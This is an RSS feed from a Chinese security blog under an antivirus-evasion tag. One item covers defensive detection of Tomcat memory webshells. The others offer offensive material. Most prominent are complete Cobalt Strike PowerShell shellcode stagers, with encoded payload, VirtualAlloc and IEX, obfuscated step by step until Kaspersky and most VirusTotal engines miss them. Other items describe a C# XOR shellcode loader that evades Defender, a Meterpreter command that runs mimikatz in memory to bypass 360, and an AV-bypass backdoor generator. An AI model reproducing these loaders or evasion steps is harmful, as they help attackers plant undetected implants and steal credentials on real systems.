<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>免杀 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E5%85%8D%E6%9D%80/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Tue, 15 Sep 2020 12:16:19 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>[防守视角] tomcat内存马的多种查杀方式</title>
		<link>/tools/1873.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Tue, 15 Sep 2020 16:00:36 +0000</pubDate>
				<category><![CDATA[安全运维]]></category>
		<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[免杀]]></category>
		<category><![CDATA[内存shell]]></category>
		<category><![CDATA[护网]]></category>
		<category><![CDATA[查杀]]></category>
		<category><![CDATA[蓝队]]></category>
		<guid isPermaLink="false">/?p=1873</guid>

					<description><![CDATA[环境搭建 我在WINDOWS7虚拟机下搭建的Tomcat，搭建教程网上都有，点击startup.bat启动环境 注入内存马 这里使用了哥斯拉的内存马 查杀方式一：VisualVM（...]]></description>
										<content:encoded><![CDATA[<h1>环境搭建</h1>
<p>我在WINDOWS7虚拟机下搭建的Tomcat，搭建教程网上都有，点击startup.bat启动环境</p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200914221121.png" alt="" /></p>
<p>注入内存马</p>
<p>这里使用了哥斯拉的内存马</p>
<p><img src="/wp-content/uploads/2020/09/20200914234501.png" alt="" /></p>
<h1><span class="wpcom_tag_link"><a href="/tags/%e6%9f%a5%e6%9d%80" title="查杀" target="_blank">查杀</a></span>方式一：VisualVM（远程调试）</h1>
<p>设置jstatd.all.policy 文件</p>
<p><img src="/wp-content/uploads/2020/09/20200914221527.png" alt="" /></p>
<p>启动jstatd</p>
<pre><code class="language-txt line-numbers">jstatd.exe -J-Djava.security.policy=jstatd.all.policy -J-Djava.rmi.server.hostname=serverip
</code></pre>
<p><img src="/wp-content/uploads/2020/09/20200914225845.png" alt="" /></p>
<p>设置JVM Connection 修改 catalina.sh文件(LINUX)</p>
<pre><code class="language-txt line-numbers">JAVA_OPTS="-Djava.rmi.server.hostname=服务器的ip
-Dcom.sun.management.jmxremote
-Dcom.sun.management.jmxremote.port=jmx使用的端口
-Dcom.sun.management.jmxremote.ssl=false
-Dcom.sun.management.jmxremote.authenticate=false $JAVA_OPTS"
export JAVA_OPTS
</code></pre>
<p>修改catalina.bat文件(WINDOWS)</p>
<pre><code class="language-txt line-numbers">set JAVA_OPTS=-Djava.rmi.server.hostname=192.168.67.115 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=8888 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false
</code></pre>
<p>下载VisualVM</p>
<p><img src="/wp-content/uploads/2020/09/20200914230218.png" alt="" /></p>
<p>MBeans安装插件</p>
<p><img src="/wp-content/uploads/2020/09/20200914230540.png" alt="" /></p>
<p>连接远程Tomcat</p>
<p><img src="/wp-content/uploads/2020/09/20200914234320.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/09/20200915010531.png" alt="" /></p>
<p>检查异常攻击痕迹Filter/Servlet节点</p>
<p><img src="/wp-content/uploads/2020/09/20200915011135.png" alt="" /></p>
<p><strong>在Servlet节点中我发现到了自己设置的内存马test.ico，说明已经检测到了内存马</strong></p>
<h1>查杀方式二：arthas</h1>
<blockquote><p>
  arthas是Alibaba开源的Java诊断工具<br />
  https://github.com/alibaba/arthas
</p></blockquote>
<p>下载</p>
<p><img src="/wp-content/uploads/2020/09/20200915153921.png" alt="" /></p>
<p>文档地址 https://arthas.aliyun.com/doc/quick-start.html</p>
<p><strong>非常Nice的工具，深入用法请查看使用文档，这里只检测探测一下</strong></p>
<p>启动（选择对应tocmat进程pid）</p>
<p><img src="/wp-content/uploads/2020/09/20200915160837.png" alt="" /></p>
<p>mbean(查看 Mbean 的信息，查看异常Filter/Servlet节点)</p>
<pre><code class="language-txt line-numbers">mbean | grep "Servlet"
</code></pre>
<p><img src="/wp-content/uploads/2020/09/20200915161611.png" alt="" /></p>
<p>sc (查看JVM已加载的类信息)</p>
<pre><code class="language-txt line-numbers">sc xxx.* 模糊搜索类
sc -d
</code></pre>
<p><img src="/wp-content/uploads/2020/09/20200915183918.png" alt="" /></p>
<p><strong>查看payload加载的类信息</strong></p>
<p><img src="/wp-content/uploads/2020/09/20200915184214.png" alt="" /></p>
<p><strong>查看x.AES_BASE64类加载的类信息</strong></p>
<p><img src="/wp-content/uploads/2020/09/20200915185544.png" alt="" /></p>
<p>jad(反编译指定已加载类的源码)</p>
<pre><code class="language-txt line-numbers">jad 类名
</code></pre>
<p><img src="/wp-content/uploads/2020/09/20200915174856.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/09/20200915174938.png" alt="" /></p>
<p>还有很多用法值得慢慢学习～</p>
<h1>查杀方式三：Copagent</h1>
<p>由于VisualVM在环境中可能还需要配置JVM Connection远程调试，我在长亭一篇文章中发现了LandGrey师傅所写的内存马检测工具，经过在本地Tomcat测试，可以检测到我自己设置的内存马，而无需重启Tomcat服务（重启了内存马不就没了吗?）先贴上Git地址</p>
<pre><code class="language-txt line-numbers">https://github.com/LandGrey/copagent
</code></pre>
<p>我本地运行Tomcat服务，使用cop.jar工具，工具首先会识别你正在运行的应用列举出来由你自己选择ID，运行后会在.copagent目录生成结果</p>
<p><img src="/wp-content/uploads/2020/09/20200915005424.png" alt="" /></p>
<p>在输出结果中，可以查看异常类，例如我的<code>1.jsp</code>和<code>X.AES_BASE64</code>，他会显示所有运行的类以及危险等级，比较高的可以进入目录查看代码进行分析</p>
<p><img src="/wp-content/uploads/2020/09/20200915121700.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/09/20200915005447.png" alt="" /></p>
<p>在java或class文件夹会保存木马以及运行的类</p>
<p><img src="/wp-content/uploads/2020/09/20200915121748.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/09/20200915122054.png" alt="" /></p>
<h1>参考</h1>
<ol>
<li>https://mp.weixin.qq.com/s/DRbGeVOcJ8m9xo7Gin45kQ</li>
<li>https://qiita.com/shimizukawasaki/items/5dc9fe780ffbf3a7699c</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Cobalt Strike Powershell 过卡巴免杀上线</title>
		<link>/web/1845.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 27 Aug 2020 03:47:46 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[powershell]]></category>
		<category><![CDATA[免杀]]></category>
		<guid isPermaLink="false">/?p=1845</guid>

					<description><![CDATA[Coablt Strike 4.0 生成ps1文件 直接被秒杀 查看ps1文件内容 Set-StrictMode -Version 2 $DoIt = @' function fu...]]></description>
										<content:encoded><![CDATA[<p>Coablt Strike 4.0<br />
<img src="https://y4er.com/img/uploads/20200827119267.png" alt="image.png" /></p>
<p>生成ps1文件</p>
<p>直接被秒杀<br />
<img src="https://y4er.com/img/uploads/20200827113865.png" alt="image.png" /></p>
<p>查看ps1文件内容</p>
<pre><code class="language-powershell line-numbers">Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
    Param ($var_module, $var_procedure)     
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )

    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

    return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSByckuzPCMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMYWdISCPSjo+ES2wU5Cgo213ELAxTtcW3jLu2wxoB6+UI1pFe5QtKWRU99qnU40ltkm4SJWul7EPpOTmEw8D9FoKGywVALdsr5/A64cQyI3ZQRlEOYkRGTVcZA25MWUpPT0IMFg0TAwtATE5TQldKQU9GGANucGpmAxoNExgDdEpNR0xUUANtdwMVDRMYA3RsdBUXGAN3UUpHRk1XDBYNExgDTlBNA2xTV0pOSllGR2pmGxhmbXZwCi4pI0yC0OUolAOECPlYzqpBnQz7WW5QCeVDOUPi3jjqnNGtp39q5f+kjLoCc0ea2hQetsYnPTlO7F+Q2xLQoTQyuC6QkIc6jSOgRNCZUNmki6FueVN8TyaymGlWw0iU1mKbsd9yEZXVSd4LWWUzuNqocajn26otfu+C6wyuhUbBbU/zfNM17FzdXhsFmL/Dfed4HzTtP5Kjlvio07XFYjBMi4fls+sKijWkY6mssJu6hEaA5X4FcQmWHvqAQ8CKYv/wEJ15siNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcEhQRDRIVDRENGxsjMRd1Ww==')

for ($x = 0; $x -lt $var_code.Count; $x++) {
    $var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
    start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
    IEX $DoIt
}
</code></pre>
<p>把FromBase64String改成FromBase65String就不杀了，那就解决掉FromBase64String，直接改成byte数组。</p>
<p><img src="https://y4er.com/img/uploads/20200827116879.png" alt="image.png" /></p>
<p>改完之后</p>
<pre><code class="language-powershell line-numbers">Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
    Param ($var_module, $var_procedure)     
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )

    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

    return $var_type_builder.CreateType()
}

[Byte[]]$var_code =  [Byte[]](223,203,170,35,35,35,67,170,198,18,241,71,168,113,19,168,113,47,168,113,55,168,81,11,44,148,105,5,18,220,18,227,143,31,66,95,33,15,3,226,236,46,34,228,193,211,113,116,168,113,51,168,97,31,34,243,168,99,91,166,227,87,105,34,243,115,168,107,59,168,123,3,34,240,192,31,106,168,23,168,34,245,18,220,18,227,143,226,236,46,34,228,27,195,86,215,32,94,219,24,94,7,86,193,123,168,123,7,34,240,69,168,47,104,168,123,63,34,240,168,39,168,34,243,170,103,7,7,120,120,66,122,121,114,220,195,123,124,121,168,49,200,165,126,75,77,70,87,35,75,84,74,77,74,119,75,111,84,5,36,220,246,18,220,116,116,116,116,116,75,25,117,90,132,220,246,202,167,35,35,35,120,18,234,114,114,73,32,114,114,75,179,60,35,35,112,115,75,116,170,188,229,220,246,200,83,120,18,241,113,75,35,33,99,167,113,113,113,112,113,115,75,200,118,13,24,220,246,170,229,160,224,115,18,220,116,116,73,220,112,117,75,14,37,59,88,220,246,166,227,44,167,224,34,35,35,18,220,166,213,87,39,170,218,200,42,75,137,230,193,126,220,246,170,226,75,102,2,125,18,220,246,18,220,116,73,36,114,117,115,75,148,116,195,40,220,246,156,35,12,35,35,26,228,87,148,18,220,202,178,34,35,35,202,234,34,35,35,203,168,220,220,220,12,97,103,72,72,35,210,142,143,132,75,108,20,228,40,40,219,93,196,44,12,83,181,197,183,140,187,182,195,26,1,235,229,8,214,145,94,229,11,74,89,21,61,246,169,212,227,73,109,146,110,18,37,107,165,236,67,233,57,57,132,195,192,253,22,130,134,203,5,64,45,219,43,231,240,58,225,196,50,35,118,80,70,81,14,98,68,70,77,87,25,3,110,76,89,74,79,79,66,12,22,13,19,3,11,64,76,78,83,66,87,74,65,79,70,24,3,110,112,106,102,3,26,13,19,24,3,116,74,77,71,76,84,80,3,109,119,3,21,13,19,24,3,116,108,116,21,23,24,3,119,81,74,71,70,77,87,12,22,13,19,24,3,78,80,77,3,108,83,87,74,78,74,89,70,71,106,102,27,24,102,109,118,112,10,46,41,35,76,130,208,229,40,148,3,132,8,249,88,206,170,65,157,12,251,89,110,80,9,229,67,57,67,226,222,56,234,156,209,173,167,127,106,229,255,164,140,186,2,115,71,154,218,20,30,182,198,39,61,57,78,236,95,144,219,18,208,161,52,50,184,46,144,144,135,58,141,35,160,68,208,153,80,217,164,139,161,110,121,83,124,79,38,178,152,105,86,195,72,148,214,98,155,177,223,114,17,149,213,73,222,11,89,101,51,184,218,168,113,168,231,219,170,45,126,239,130,235,12,174,133,70,193,109,79,243,124,211,53,236,92,221,94,27,5,152,191,195,125,231,120,31,52,237,63,146,163,150,248,168,211,181,197,98,48,76,139,135,229,179,235,10,138,53,164,99,169,172,176,155,186,132,70,128,229,126,5,113,9,150,30,250,128,67,192,138,98,255,240,16,157,121,178,35,75,211,150,129,117,220,246,73,99,75,35,51,35,35,75,35,35,99,35,116,75,123,135,112,198,220,246,176,154,35,35,35,35,34,250,114,112,170,196,116,75,35,3,35,35,112,117,75,49,181,170,193,220,246,166,227,87,229,168,36,34,224,166,227,86,198,123,224,203,138,222,220,220,18,20,17,13,18,21,13,17,13,27,27,35,49,23,117,91)

for ($x = 0; $x -lt $var_code.Count; $x++) {
    $var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
    start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
    IEX $DoIt
}
</code></pre>
<p>卡巴斯基没秒杀，放vt上看看</p>
<p>https://www.virustotal.com/gui/file/d73117a43cd10b5f8672b5440c9466d82d8df13a2d23f05171017ec442f8bacf/detection</p>
<p><img src="https://y4er.com/img/uploads/20200827111061.png" alt="image.png" /></p>
<p>看来还是有别的关键字，再改一改</p>
<pre><code class="language-powershell line-numbers">Set-StrictMode -Version 2

$DoIt = @'
function func_b {
    Param ($amodule, $aprocedure)       
    $aunsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.Uns'+'afeN'+'ativeMethods')
    $agpa = $aunsafe_native_methods.GetMethod('GetP'+'rocAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $agpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($aunsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($amodule)))), $aprocedure))
}

function func_a {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $aparameters,
        [Parameter(Position = 1)] [Type] $areturn_type = [Void]
    )

    $atype_b = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('Reflect'+'edDel'+'egate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDeleg'+'ateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $atype_b.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $aparameters).SetImplementationFlags('Runtime, Managed')
    $atype_b.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $areturn_type, $aparameters).SetImplementationFlags('Runtime, Managed')

    return $atype_b.CreateType()
}

[Byte[]]$acode =  [Byte[]](223,203,170,35,35,35,67,170,198,18,241,71,168,113,19,168,113,47,168,113,55,168,81,11,44,148,105,5,18,220,18,227,143,31,66,95,33,15,3,226,236,46,34,228,193,211,113,116,168,113,51,168,97,31,34,243,168,99,91,166,227,87,105,34,243,115,168,107,59,168,123,3,34,240,192,31,106,168,23,168,34,245,18,220,18,227,143,226,236,46,34,228,27,195,86,215,32,94,219,24,94,7,86,193,123,168,123,7,34,240,69,168,47,104,168,123,63,34,240,168,39,168,34,243,170,103,7,7,120,120,66,122,121,114,220,195,123,124,121,168,49,200,165,126,75,77,70,87,35,75,84,74,77,74,119,75,111,84,5,36,220,246,18,220,116,116,116,116,116,75,25,117,90,132,220,246,202,167,35,35,35,120,18,234,114,114,73,32,114,114,75,179,60,35,35,112,115,75,116,170,188,229,220,246,200,83,120,18,241,113,75,35,33,99,167,113,113,113,112,113,115,75,200,118,13,24,220,246,170,229,160,224,115,18,220,116,116,73,220,112,117,75,14,37,59,88,220,246,166,227,44,167,224,34,35,35,18,220,166,213,87,39,170,218,200,42,75,137,230,193,126,220,246,170,226,75,102,2,125,18,220,246,18,220,116,73,36,114,117,115,75,148,116,195,40,220,246,156,35,12,35,35,26,228,87,148,18,220,202,178,34,35,35,202,234,34,35,35,203,168,220,220,220,12,97,103,72,72,35,210,142,143,132,75,108,20,228,40,40,219,93,196,44,12,83,181,197,183,140,187,182,195,26,1,235,229,8,214,145,94,229,11,74,89,21,61,246,169,212,227,73,109,146,110,18,37,107,165,236,67,233,57,57,132,195,192,253,22,130,134,203,5,64,45,219,43,231,240,58,225,196,50,35,118,80,70,81,14,98,68,70,77,87,25,3,110,76,89,74,79,79,66,12,22,13,19,3,11,64,76,78,83,66,87,74,65,79,70,24,3,110,112,106,102,3,26,13,19,24,3,116,74,77,71,76,84,80,3,109,119,3,21,13,19,24,3,116,108,116,21,23,24,3,119,81,74,71,70,77,87,12,22,13,19,24,3,78,80,77,3,108,83,87,74,78,74,89,70,71,106,102,27,24,102,109,118,112,10,46,41,35,76,130,208,229,40,148,3,132,8,249,88,206,170,65,157,12,251,89,110,80,9,229,67,57,67,226,222,56,234,156,209,173,167,127,106,229,255,164,140,186,2,115,71,154,218,20,30,182,198,39,61,57,78,236,95,144,219,18,208,161,52,50,184,46,144,144,135,58,141,35,160,68,208,153,80,217,164,139,161,110,121,83,124,79,38,178,152,105,86,195,72,148,214,98,155,177,223,114,17,149,213,73,222,11,89,101,51,184,218,168,113,168,231,219,170,45,126,239,130,235,12,174,133,70,193,109,79,243,124,211,53,236,92,221,94,27,5,152,191,195,125,231,120,31,52,237,63,146,163,150,248,168,211,181,197,98,48,76,139,135,229,179,235,10,138,53,164,99,169,172,176,155,186,132,70,128,229,126,5,113,9,150,30,250,128,67,192,138,98,255,240,16,157,121,178,35,75,211,150,129,117,220,246,73,99,75,35,51,35,35,75,35,35,99,35,116,75,123,135,112,198,220,246,176,154,35,35,35,35,34,250,114,112,170,196,116,75,35,3,35,35,112,117,75,49,181,170,193,220,246,166,227,87,229,168,36,34,224,166,227,86,198,123,224,203,138,222,220,220,18,20,17,13,18,21,13,17,13,27,27,35,49,23,117,91)

for ($x = 0; $x -lt $acode.Count; $x++) {
    $acode[$x] = $acode[$x] -bxor 35
}

$ava = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_b kernel32.dll VirtualAlloc), (func_a @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$abuffer = $ava.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $abuffer, $acode.length)

$arunme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($abuffer, (func_a @([IntPtr]) ([Void])))
$arunme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
    start-job { param($a) ie`x $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
    i`ex $DoIt
}
</code></pre>
<p>https://www.virustotal.com/gui/file/4b907e0d3da03ee1c6c12541603cc2ac9849564e3358b706c1eb5fb0f94f1918/detection</p>
<p><img src="https://y4er.com/img/uploads/20200827115134.png" alt="image.png" /></p>
<p>ok了，也能正常上线</p>
<pre><code class="language-bash line-numbers">powershell -ExecutionPolicy bypass -File .\payload.ps1
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200827114184.png" alt="image.png" /></p>
<p>执行命令，卡巴斯基会拦截，argue污染以下就行了。<br />
<img src="https://y4er.com/img/uploads/20200827111122.png" alt="image.png" /></p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>C# shellcode loader</title>
		<link>/tools/1271.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 25 Feb 2020 16:03:38 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[loader]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[免杀]]></category>
		<guid isPermaLink="false">/?p=1271</guid>

					<description><![CDATA[项目地址 https://github.com/Y4er/shellcode-loader shellcode loader csharp 5632 byte xor 静态免杀,过...]]></description>
										<content:encoded><![CDATA[<h2>项目地址</h2>
<p>https://github.com/Y4er/<span class="wpcom_tag_link"><a href="/tags/shellcode" title="shellcode" target="_blank">shellcode</a></span>-<span class="wpcom_tag_link"><a href="/tags/loader" title="loader" target="_blank">loader</a></span></p>
<h2>shellcode loader</h2>
<p>csharp 5632 byte xor 静态<span class="wpcom_tag_link"><a href="/tags/%e5%85%8d%e6%9d%80" title="免杀" target="_blank">免杀</a></span>,过Windows defender.</p>
<h2>免杀效果</h2>
<p>测试于 2020/2/24 23:30</p>
<p>http://r.virscan.org/language/zh-cn/report/5583273543afd24b387833e86c22a798 0/49</p>
<p><img src="https://y4er.com/img/uploads/20200226002209.png" alt="" /></p>
<p>https://www.virustotal.com/gui/file/08d02c54c910ad9d26d4f42aa59f785aad9468c3687be4d2b3575c689c18102c/detection 2/69</p>
<p><img src="/wp-content/uploads/2020/02/20200226002776.png" alt="" /></p>
<h2>使用方法</h2>
<p>cobalt strike 或者 metasploit 生成 csharp 的 payload ,先使用 enloader 加密,再使用 loader.exe 执行.</p>
<p><strong>注意不同位数的 payload 请使用相应的 loader</strong><br />
<strong>注意不同位数的 payload 请使用相应的 loader</strong><br />
<strong>注意不同位数的 payload 请使用相应的 loader</strong><br />
<strong>注意不同位数的 payload 请使用相应的 loader</strong><br />
<strong>编译时请注意针对目标机器的.net版本对应编译</strong><br />
<strong>编译时请注意针对目标机器的.net版本对应编译</strong><br />
<strong>编译时请注意针对目标机器的.net版本对应编译</strong><br />
<strong>编译时请注意针对目标机器的.net版本对应编译</strong></p>
<ol>
<li>enloader.exe 生成加密payload</li>
<li>cmd /c loader.exe payload</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>msf execute from memory bypass waf</title>
		<link>/web/678.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 28 Jul 2019 08:36:37 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[msf]]></category>
		<category><![CDATA[免杀]]></category>
		<guid isPermaLink="false">/?p=678</guid>

					<description><![CDATA[@X1r0z的鬼点子 https://exp10it.cn/msf-execute-from-memory.html 具体原理和进程注入类似, 先创建一个正常的进程, 然后把这个进...]]></description>
										<content:encoded><![CDATA[<blockquote><p>
  @X1r0z的鬼点子 https://exp10it.cn/<span class="wpcom_tag_link"><a href="/tags/msf" title="msf" target="_blank">msf</a></span>-execute-from-memory.html
</p></blockquote>
<p>具体原理和进程注入类似, 先创建一个正常的进程, 然后把这个进程里的内存空间覆盖成我们想要执行的程序.</p>
<p>Meterpreter 方式.</p>
<pre><code class="language-bash ">execute -H -m -d notepad.exe -f mimikatz.exe -i
-H 隐藏窗口.
</code></pre>
<p>-m 在内存中执行.</p>
<p>-d 指定覆盖进程 (dummy).</p>
<p>-f 指定执行程序 (本地文件).</p>
<p>-i 与该程序交互 (可选).</p>
<p>-a 传递参数 (可选).</p>
<p><strong>在实际测试中能够绕过 360 的检测, 当然前提是你反弹会话的 payload 是<span class="wpcom_tag_link"><a href="/tags/%e5%85%8d%e6%9d%80" title="免杀" target="_blank">免杀</a></span>的.</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>AVIator：使用加密和注入技术来绕过AV检测 3/71</title>
		<link>/tools/658.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 06 Jul 2019 17:25:56 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[免杀]]></category>
		<category><![CDATA[注入]]></category>
		<category><![CDATA[进程]]></category>
		<guid isPermaLink="false">/?p=658</guid>

					<description><![CDATA[Ator是一个后门生成器实用程序，它使用加密和注入技术来绕过AV检测。进一步来说： 它使用AES加密来加密给定的shellcode 生成包含加密有效负载的可执行文件 使用各种注入技...]]></description>
